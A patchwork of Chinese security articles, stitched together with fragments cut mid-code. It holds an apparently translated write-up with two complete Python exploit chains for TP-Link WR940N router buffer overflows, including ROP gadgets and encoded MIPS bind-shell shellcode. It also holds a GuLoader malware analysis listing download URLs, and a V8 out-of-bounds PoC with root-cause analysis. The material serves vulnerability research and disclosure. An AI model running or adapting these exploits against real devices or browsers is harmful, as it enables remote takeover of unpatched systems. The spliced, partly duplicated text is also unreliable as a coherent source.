print “[debug] sending login to ” + url
req = urllib2.Request(url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string)
resp = urllib2.urlopen(req)
#### The server generates a random path for further requests, grab that here
data = resp.read()
next_url = “http://%s/%s/userRpm/” %(ip, data.split(“/”)[3])
print “[debug] Got random path for next stage, url is now %s” %next_url
return (next_url, encoded_string)#custom bind shell shellcode with very simple xor encoder
#followed by a sleep syscall to flush cash before running
#bad chars = 0x20, 0x00
shellcode = (
#encoder
“\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99”
“\x27\xb2\x05\x9f”
“\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9”
“\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41”
“\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d”
“\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71”
“\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d”
“\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99”
“\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5”
“\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad”
“\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9”
“\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1”
“\x02\x2a\x18\x26\xae\x43\xff\xc1″#sleep
“\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08”
“\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa”
“\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c”################ encoded shellcode ###############
“\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06”
“\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff”
“\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d”
“\x7a\x69” #<————————- PORT 0x7a69 (31337)
“\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad”
“\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc”
“\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01”
“\x01\x0c\x24\x0f\x73\x50”
“\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f”
“\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48”
“\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f”
“\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50”
“\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f”
“\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c”
“\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce”
“\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8”
“\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02”
“\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa”
“\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c”
)###### useful gadgets #######
nop = “\x22\x51\x44\x44”
gadg_1 = “\x2A\xB3\x7C\x60”
gadg_2 = “\x2A\xB1\x78\x40”
sleep_addr = “\x2a\xb3\x50\x90”
stack_gadg = “\x2A\xAF\x84\xC0”
call_code = “\x2A\xB2\xDC\xF0″def first_exploit(url, auth):
# trash $s1 $ra
rop = “A”*164 + gadg_2 + gadg_1 + “B”*0x20 + sleep_addr
rop += “C”*0x20 + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode
params = {‘ping_addr’: rop, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’}
new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params)print “[debug] sending exploit…”
print “[+] Please wait a few seconds before connecting to port 31337…”
req = urllib2.Request(new_url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth)
req.add_header(‘Referer’, url + “DiagnosticRpm.htm”) resp = urllib2.urlopen(req)if __name__ == ‘__main__’:
data = login(“192.168.0.1”, “admin”, “admin”)
first_exploit(data[0], data[1])
#### 深入分析
这个漏洞有一个非常简单的模式，即来自GET参数的用户输入直接传递给strcpy调用，无需任何验证。
深入分析二进制文件后得出结论，这种相同模式在多处都有呈现。
实际上，存在大量strcpy调用：
值得称赞的是，厂商在短短几天内就为第一个漏洞提供了补丁。
但从我个人角度看，几乎所有这些strcpy调用都需要以更安全的字符串复制功能替代。为了证明这一点，我决定再构造一个攻击链，通过dnsserver2参数触发WanStaticIpV6CfgRpm.htm中的缓冲区溢出。
这个攻击链与之前那个十分相似，仅在自定义编码器中存在一处偏移量改变（因为堆栈指针指向不同位置）。 主要区别是在我在Mips
exploit开发过程中没有遇到的字节对齐问题。
构造攻击链过程中，我不断收到非法指令错误提示，nop sled看起来也不像以前那样：
注意所有指令都相隔2个字节，原因在于我的有效载荷：
这个缓冲区结尾有一处未指定输入，强制有效载荷结束对齐。 事实证明，即使这是最后步骤，也需要填补最终有效载荷，恢复对齐。完成后，nopsled将如下所示：
我们得到绑定shell：
最终代码包含两个漏洞的攻击链，如下所示：
（注：在second_exploit中，几乎所有GET参数都易受缓冲区溢出影响）
import urllib2
import base64
import hashlib
from optparse import *
import sys
import urllibbanner = (
“___________________________________________________________________________\n”
“WR940N Authenticated Remote Code Exploit\n”
“This exploit will open a bind shell on the remote target\n”
“The port is 31337, you can change that in the code if you wish\n”
“This exploit requires authentication, if you know the creds, then\n”
“use the -u -p options, otherwise default is admin:admin\n”
“___________________________________________________________________________”
)def login(ip, user, pwd):
print “[+] Attempting to login to http://%s %s:%s”%(ip,user,pwd)
#### Generate the auth cookie of the form b64enc(‘admin:’ + md5(‘admin’))
hash = hashlib.md5()
hash.update(pwd)
auth_string = “%s:%s” %(user, hash.hexdigest())
encoded_string = base64.b64encode(auth_string)print “[+] Encoded authorisation: %s” %encoded_string#### Send the request
url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save”
print “[+] sending login to ” + url
req = urllib2.Request(url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string)
resp = urllib2.urlopen(req)
#### The server generates a random path for further requests, grab that here
data = resp.read()
next_url = “http://%s/%s/userRpm/” %(ip, data.split(“/”)[3])
print “[+] Got random path for next stage, url is now %s” %next_url
return (next_url, encoded_string)
#custom bind shell shellcode with very simple xor encoder
#followed by a sleep syscall to flush cash before running
#bad chars = 0x20, 0x00
shellcode = (
#encoder
“\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99”
“\x27\xb2\x05\x4b” #0x27b2059f for first_exploit
“\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9”
“\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41”
“\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d”
“\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71”
“\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d”
“\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99”
“\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5”
“\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad”
“\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9”
“\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1”
“\x02\x2a\x18\x26\xae\x43\xff\xc1”
#sleep
“\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08”
“\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa”
“\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c”
################ encoded shellcode ###############
“\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06”
“\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff”
“\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d”
“\x7a\x69” #<————————- PORT 0x7a69 (31337)
“\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad”
“\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc”
“\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01”
“\x01\x0c\x24\x0f\x73\x50”
“\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f”
“\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48”
“\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f”
“\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50”
“\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f”
“\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c”
“\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce”
“\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8”
“\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02”
“\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa”
“\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c”
)
###### useful gadgets #######
nop = “\x22\x51\x44\x44”
gadg_1 = “\x2A\xB3\x7C\x60”
gadg_2 = “\x2A\xB1\x78\x40”
sleep_addr = “\x2a\xb3\x50\x90”
stack_gadg = “\x2A\xAF\x84\xC0”
call_code = “\x2A\xB2\xDC\xF0”
def first_exploit(url, auth):
# trash $s1 $ra
rop = “A”*164 + gadg_2 + gadg_1 + “B”*0x20 + sleep_addr + “C”*4
rop += “C”*0x1c + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode
params = {‘ping_addr’: rop, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’}
new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params)
print “[+] sending exploit…”
print “[+] Wait a couple of seconds before connecting”
print “[+] When you are finished do http -r to reset the http service”
req = urllib2.Request(new_url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth)
req.add_header(‘Referer’, url + “DiagnosticRpm.htm”)
resp = urllib2.urlopen(req)
def second_exploit(url, auth):
url = url + “WanStaticIpV6CfgRpm.htm?”
# trash s0 s1 s2 s3 s4 ret shellcode
payload = “A”*111 + “B”*4 + gadg_2 + “D”*4 + “E”*4 + “F”*4 + gadg_1 + “a”*0x1c
payload += “A”*4 + sleep_addr + “C”*0x20 + call_code + “E”*4
payload += stack_gadg + “A”*4 + nop*10 + shellcode + “B”*7
print len(payload)
params = {‘ipv6Enable’: ‘on’, ‘wantype’: ‘2’, ‘ipType’: ‘2’, ‘mtu’: ‘1480’, ‘dnsType’: ‘1’,
‘dnsserver2’: payload, ‘ipAssignType’: ‘0’, ‘ipStart’: ‘1000’,
‘ipEnd’: ‘2000’, ‘time’: ‘86400’, ‘ipPrefixType’: ‘0’, ‘staticPrefix’: ‘AAAA’,
‘staticPrefixLength’: ’64’, ‘Save’: ‘Save’, ‘RenewIp’: ‘1’}
new_url = url + urllib.urlencode(params)
print “[+] sending exploit…”
print “[+] Wait a couple of seconds before connecting”
print “[+] When you are finished do http -r to reset the http service”
req = urllib2.Request(new_url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth)
req.add_header(‘Referer’, url + “WanStaticIpV6CfgRpm.htm”)
resp = urllib2.urlopen(req)
if __name__ == ‘__main__’:
print banner
username = “admin”
password = “admin”
parser = OptionParser()
parser.add_option(“-t”, “–target”, dest=”host”,
help=”target ip address”)
parser.add_option(“-u”, “–user”, dest=”username”,
help=”username for authentication”,
default=”admin”)
parser.add_option(“-p”, “–password”, dest=”password”,
help=”password for authentication”,
default=”admin”)
(options, args) = parser.parse_args()
if options.host is None:
parser.error(“[x] A host name is required at the minimum [x]”)
if options.username is not None:
username = options.username
if options.password is not None:
password = options.password
(next_url, encoded_string) = login(options.host, username, password)
###### Both exploits result in the same bind shell ######
#first_exploit(data[0], data[1])
second_exploit(next_url, encoded_string)
#### 影响
一项shodan快速搜索结果显示有7200台类似联网设备。（目前，已在一个月内增长了3500台。）
#### 漏洞修复
为了修复这些漏洞，厂商需要以更安全的操作（例如strncpy）代替大部分strcpy调用。值得称赞的是，他们很快就实现了这一目标并在报告其他受影响代码的一周内提供了完整补丁。接下来，我将对补丁进行快速分析。
首先，应查看strcpy交叉引用。二进制文件存在700多个调用，在修复版本中，我们可以看到不同景象：
针对这些位置的深入分析结果显示，这些调用不对用户输入产生影响，例如：
对于分析已知漏洞存在区域，例如dnsserver2 GET参数：
简单起见，令a1 = src，$a2 = size。 接下来我们可以看到：
1. 0x2C在loc_452E0C之前加载到$a2中。
2. 使用httpGetEnv抓取“dnsserver2”参数。
3. 如果httpGetEnv返回0，那么缓冲区var_24f被清零。
4. 否则，返回的指针被移至$a1。
5. 0x2C大小被加载到$a2。
6. 目的地已经在$a0（在分支产生前在延迟槽中移动）。
7. 之后，根据httpGetEnv结果（通过$t9）调用memset或strncpy。
我们可以看到，以上操作有效防止了缓冲区溢出，因为只能将最大数量字节复制到缓冲区。 var_24F是一个基于堆栈的缓冲区，大小为0x2C。
事实上，我们现在可以看到，提供给厂商的漏洞模式已被安全模式取代。 因此，修复程序通过移除用户输入中的strcpy调用来合理保护缓冲区溢出。
###### 使用的工具：
Binwalk
IDA
Qemu
mipsrop.py插件
适用于TTL UART 6PIN CP2102模块串行转换器的USB 2.0
###### 致谢
Tim Carrington –[@__invictus_](https://twitter.com/@__invictus_
"@__invictus_")
###### 参考
* <https://wiki.openwrt.org/toh/tp-link/tl-wr940n>
* <http://static.tp-link.com/TL-WR940N(US)_V4_160617_1476690524248q.zip>
* <http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/>
* <http://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Caches.pdf>
* <http://www.devttys0.com/2013/10/mips-rop-ida-plugin/>
###### 时间线
* 向厂商披露漏洞细节 - 11/8/2017
* 接到厂商回应与初步咨询请求 - 14/8/2017
* 发送初步咨询建议 - 14/8/2017
* 测试版补丁发送厂商测试 - 17/8/2017
* 确认补丁有效，其他漏洞由作者自行查找；第二个攻击链构造是为了证明这一点。发送厂商 - 17/8/2017
* 厂商回应将研究其他漏洞区域 - 18/8/2017
* 发送供厂商测试的第二个补丁 - 25/8/17
* 确认补丁以缓解漏洞（移除了500多个strcpy调用）- 29/8/2017
* [补丁发布](https://www.tp-link.com/us/download/TL-WR940N_V5.html#Firmware "补丁发布") \- 28/9/2017（仅限HW V5 US）
* * * | 社区文章 |
**作者：威胁情报团队
译者：知道创宇404实验室翻译组
原文链接：<https://asec.ahnlab.com/en/40283/>**
ASEC分析团队发现，GuLoader恶意软件正在分发给韩国企业用户。GuLoader是一款下载器，自过去以来一直稳定分发，下载各种恶意软件。分发的网络钓鱼邮件如下所示，并附加了一个
HTML 文件。
网络钓鱼邮件
当用户打开附加的 HTML 文件时，将从下面的 URL 下载压缩文件。
* **下载网址**
hxxp://45.137.117[.]184/Files_For_Potosinos/Doc_Scan.zip
HTML代码
压缩文件包含一个 IMG 文件，GuLoader恶意软件在此 IMG 文件中。
压缩文件内部
GuLoader伪装成Word图标，并在文件末尾添加一个大小约为600MB的Null值。
实际大小（左）、分布式文件大小（右）
它与七月份在 ASEC 博客中推出的 GuLoader 采用相同的 NSIS 格式，但目前正在分发的 GuLoader 中 NSIS
脚本的功能已进行了更改。以前的 NSIS 脚本包含它调用的 DLL 和 API 名称的字符串，而新的 NSIS 脚本删除了所有相关字符串以绕过检测。
以前的NSIS脚本
删除的字符串在特定文件中编码。在执行 NSIS
文件时生成的文件中，“Udmeldt.Ext”文件是稍后要加载的shell代码，而“Modig.Sta0”文件用要调用的 DLL 和 API
的名称进行编码。以下 NSIS 脚本显示了字符串解码的过程。
修改的NSIS脚本（1）
首先，要调用 API，利用12278（0x2FF6）中的 Modig.Sta0 文件执行XOR。
修改的NSIS脚本（2）
解码后的数据如下所示，并按顺序调用 API。
修改的NSIS脚本（3）
当按顺序调用 API 时，“Udmeldt.Ext”文件在 21200（0x52D0）
中的数据将加载到分配的内存中，然后再执行。此时加载的数据执行实际的恶意行为。
要加载的shell代码
加载的shell代码
加载的GuLoader在注入恶意数据之前，在 **“C:\program files\internet explorer\ieinstal.exe”**
路径中执行正常进程。注入的正常进程连接到下面的URL并尝试下载其他恶意软件。下载目前不可用，但它可以下载信息窃取者和RAT类型的恶意软件，包括Formbook、RedLine和AgentTesla。
* **下载网址**
hxxp:// 45.137.117[.]184/riBOkPd173.mix
下载恶意软件GuLoader正在不断修改和分发，以绕过检测。建议谨慎，因为它针对的是韩国用户，用户不应打开来自未知来源的电子邮件中的附件。AhnLab的反恶意软件产品V3使用以下别名检测并阻止恶意软件。
**[文件检测]**
Downloader/HTML.Generic.SC183804 (2022.10.11.03)
Trojan/Win.Agent.C5275941 (2022.10.11.03)
**[IOC]**
9227aca78ee90c18f87597516a28b091
f3abed0008eef87e2fb082d16e5df4d1
hxxp://45.137.117[.]184/Files_For_Potosinos/Doc_Scan.zip
hxxp:// 45.137.117[.]184/riBOkPd173.mix
* * * | 社区文章 |
## 参考链接
* <https://bugs.chromium.org/p/chromium/issues/detail?id=906043>
* <https://chromium.googlesource.com/v8/v8/+/4e3a17d0408627517d4a81b3bf5daf85e416e9ac/test/mjsunit/regress/regress-crbug-906043.js>
## PoC
// Flags: --allow-natives-syntax
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a00000000
}
var a1, a2;
var a3 = [1.1,2.2];
a3.length = 0x11000;
a3.fill(3.3);
var a4 = [1.1];
for (let i = 0; i < 10000; i++) fun(...a4);
// %OptimizeFunctionOnNextCall(fun);
fun(...a3);
for (i = 0; i < a2.length; i++){
console.log(a2[i]);
}
console.log(a2.length);
a1:
DebugPrint: 0x358226e9b891: [JSArray]
- length: 16
- elements: 0x358226e9b801 <FixedDoubleArray[16]> {
0: 1.1
1-15: <the_hole>
}
a2:
DebugPrint: 0x358226e9b941: [JSArray]
- length: 42
- elements: 0x358226e9b8b1 <FixedDoubleArray[65535]> {
0: 1.1
1-15: <the_hole>
16: 2.90681e-310
17: 2.90688e-310
18: 2.90674e-310
19: 8.91238e-313
20-51430: -1.18859e+148
a1 elements:
lldb) x/50gx 0x358226e9b801-1
0x358226e9b800: 0x00003582ced81461 0x0000001000000000
0x358226e9b810: 0x3ff199999999999a->a1[0] 0xfff7fffffff7ffff
0x358226e9b820: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b830: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b840: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b850: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b860: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b870: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b880: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
a1 object:
0x358226e9b890: 0x0000358279782f29 0x00003582ced80c29
0x358226e9b8a0: 0x0000358226e9b801 0x0000001000000000
a2 elements:
0x358226e9b8b0: 0x00003582ced81461 0x0000ffff00000000->a1[21]
0x358226e9b8c0: 0x3ff199999999999a 0xfff7fffffff7ffff
0x358226e9b8d0: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b8e0: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b8f0: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b900: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b910: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b920: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b930: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
a2 object:
0x358226e9b940: 0x0000358279782f29 0x00003582ced80c29
0x358226e9b950: 0x0000358226e9b8b1 0x0000002a00000000->a1[41]
0x358226e9b960: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
0x358226e9b970: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
0x358226e9b980: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
function fun(arg) {
let x = arguments.length;// x = 65536，但范围分析认为是65534
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
x = x >> 16;// x = 65536>>16 = 1,但范围分析认为是65534>>16 = 0
a1[x * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[x * 41] = 8.91238232205e-313; // 0x2a00000000
}
漏洞验证，边界检查被移除后的越界读写
1.1
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
3.5906059781413e-311
3.592134784647e-311
3.5918890420468e-311
8.91238232205e-313
3.5921347865955e-311
8.487983164e-314
4.243991582e-314
0
3.5906059883793e-311
3.592134783722e-311
3.592134783722e-311
3.5921347865955e-311
1.4853970537e-313
1.0609978955e-313
0
3.590605972767e-311
3.5906059725297e-311
3.5906059886165e-311
3.590605982569e-311
3.592134783722e-311
3.592134783722e-311
3.592134783793e-311
1.1
3.592134783793e-311
3.5906059781413e-311
3.592134783793e-311
42
## Root Cause
在typer phase里对SpeculativeNumberShiftRight的range进行计算
#72:SpeculativeNumberShiftRight[SignedSmall](#102:LoadField, #27:NumberConstant, #70:Checkpoint, #55:JSCreateArray)
102: LoadField[tagged base, 24, #length, NonInternal, kRepTagged|kTypeAny, FullWriteBarrier](9, 101, 18)
27: NumberConstant[16]
由于在typer phase还不会对Load处理，于是在第一次对NumberShiftRight进行range
analysis的时候，会将其范围直接当做int32的最大和最小值。
# define INT32_MIN ((int32_t)(-2147483647-1))
# define INT32_MAX ((int32_t)(2147483647))
Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) {
DCHECK(lhs.Is(Type::Number()));
DCHECK(rhs.Is(Type::Number()));
lhs = NumberToInt32(lhs);
rhs = NumberToUint32(rhs);
if (lhs.IsNone() || rhs.IsNone()) return Type::None();
int32_t min_lhs = lhs.Min();
int32_t max_lhs = lhs.Max();
uint32_t min_rhs = rhs.Min();
uint32_t max_rhs = rhs.Max();
if (max_rhs > 31) {
// rhs can be larger than the bitmask
max_rhs = 31;
min_rhs = 0;
}
double min = std::min(min_lhs >> min_rhs, min_lhs >> max_rhs);
double max = std::max(max_lhs >> min_rhs, max_lhs >> max_rhs);
printf("min lhs is %d\n", min_lhs);
printf("min rhs is %d\n", min_rhs);
printf("max lhs is %d\n", max_lhs);
printf("max rhs is %d\n", max_rhs);
if (max == kMaxInt && min == kMinInt) return Type::Signed32();
return Type::Range(min, max, zone());
}
于是在第一次对NumberShiftRight进行range analysis之后得到
min lhs is -2147483648
min rhs is 16
max lhs is 2147483647
max rhs is 16
...
[Type: Range(-32768, 32767)]
然后在typer lowering phase里将JSCreateArray reduce成ArgumentsLength,并计算其范围。
Reduction JSCreateLowering::ReduceJSCreateArguments(Node* node) {
DCHECK_EQ(IrOpcode::kJSCreateArguments, node->opcode());
CreateArgumentsType type = CreateArgumentsTypeOf(node->op());
Node* const frame_state = NodeProperties::GetFrameStateInput(node);
Node* const outer_state = frame_state->InputAt(kFrameStateOuterStateInput);
Node* const control = graph()->start();
FrameStateInfo state_info = FrameStateInfoOf(frame_state->op());
SharedFunctionInfoRef shared(broker(),
state_info.shared_info().ToHandleChecked());
// Use the ArgumentsAccessStub for materializing both mapped and unmapped
// arguments object, but only for non-inlined (i.e. outermost) frames.
if (outer_state->opcode() != IrOpcode::kFrameState) {
switch (type) {
case CreateArgumentsType::kMappedArguments: {
// TODO(mstarzinger): Duplicate parameters are not handled yet.
if (shared.has_duplicate_parameters()) return NoChange();
Node* const callee = NodeProperties::GetValueInput(node, 0);
Node* const context = NodeProperties::GetContextInput(node);
Node* effect = NodeProperties::GetEffectInput(node);
Node* const arguments_frame =
graph()->NewNode(simplified()->ArgumentsFrame());
Node* const arguments_length = graph()->NewNode(
simplified()->ArgumentsLength(
shared.internal_formal_parameter_count(), false),
arguments_frame);
// Allocate the elements backing store.
bool has_aliased_arguments = false;
Node* const elements = effect = AllocateAliasedArguments(
effect, control, context, arguments_frame, arguments_length, shared,
&has_aliased_arguments);
// Load the arguments object map.
Node* const arguments_map = jsgraph()->Constant(
has_aliased_arguments
? native_context().fast_aliased_arguments_map()
: native_context().sloppy_arguments_map());
// Actually allocate and initialize the arguments object.
AllocationBuilder a(jsgraph(), effect, control);
Node* properties = jsgraph()->EmptyFixedArrayConstant();
STATIC_ASSERT(JSSloppyArgumentsObject::kSize == 5 * kPointerSize);
a.Allocate(JSSloppyArgumentsObject::kSize);
a.Store(AccessBuilder::ForMap(), arguments_map);
a.Store(AccessBuilder::ForJSObjectPropertiesOrHash(), properties);
a.Store(AccessBuilder::ForJSObjectElements(), elements);
a.Store(AccessBuilder::ForArgumentsLength(), arguments_length);
a.Store(AccessBuilder::ForArgumentsCallee(), callee);
RelaxControls(node);
a.FinishAndChange(node);
return Changed(node);
}
...
...
void Typer::Decorator::Decorate(Node* node) {
if (node->op()->ValueOutputCount() > 0) {
// Only eagerly type-decorate nodes with known input types.
// Other cases will generally require a proper fixpoint iteration with Run.
bool is_typed = NodeProperties::IsTyped(node);
if (is_typed || NodeProperties::AllValueInputsAreTyped(node)) {
Visitor typing(typer_, nullptr);
Type type = typing.TypeNode(node);
if (is_typed) {
type = Type::Intersect(type, NodeProperties::GetType(node),
typer_->zone());
}
NodeProperties::SetType(node, type);
}
}
}
...
...
Type Typer::Visitor::TypeArgumentsLength(Node* node) {
return TypeCache::Get().kArgumentsLengthType;
}
...
...
Type const kArgumentsLengthType =
Type::Range(0.0, Code::kMaxArguments, zone());
...
...
static const int kArgumentsBits = 16;
// Reserve one argument count value as the "don't adapt arguments" sentinel.
static const int kMaxArguments = (1 << kArgumentsBits) - 2;
...
...
#171:ArgumentsLength[1, not rest length](#170:ArgumentsFrame) [Type: Range(0, 65534)]
然后在load elimination phase里将多余的LoadField remove，直接替换成真正的值，ArgumentsLength
#72:SpeculativeNumberShiftRight[SignedSmall](#102:LoadField, #27:NumberConstant, #70:Checkpoint, #18:JSStackCheck) [Type: Range(-32768, 32767)]
->
#72:SpeculativeNumberShiftRight[SignedSmall](#171:ArgumentsLength, #27:NumberConstant, #70:Checkpoint, #18:JSStackCheck) [Type: Range(-32768, 32767)]
于是在simplified lowering
phase里，为了修正这个SpeculativeNumberShiftRight的范围，于是再次对其进行typer计算。
// Forward propagation of types from type feedback.
void RunTypePropagationPhase() {
...
bool updated = UpdateFeedbackType(node);
->
Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) {
DCHECK(lhs.Is(Type::Number()));
DCHECK(rhs.Is(Type::Number()));
lhs = NumberToInt32(lhs);
rhs = NumberToUint32(rhs);
if (lhs.IsNone() || rhs.IsNone()) return Type::None();
int32_t min_lhs = lhs.Min();
int32_t max_lhs = lhs.Max();
uint32_t min_rhs = rhs.Min();
uint32_t max_rhs = rhs.Max();
if (max_rhs > 31) {
// rhs can be larger than the bitmask
max_rhs = 31;
min_rhs = 0;
}
double min = std::min(min_lhs >> min_rhs, min_lhs >> max_rhs);
double max = std::max(max_lhs >> min_rhs, max_lhs >> max_rhs);
if (max == kMaxInt && min == kMinInt) return Type::Signed32();
return Type::Range(min, max, zone());
}
...
...
Range(0, 65534)
Range(16, 16)
min lhs is 0
min rhs is 16
max lhs is 65534
max rhs is 16
->
NumberShiftRight Range(0,0)
由于这个结果被作为数组的index，所以最终在VisitCheckBounds里，会比较这个范围和数组最大的长度，如果始终index小于数组的length，那么就会将其remove掉。
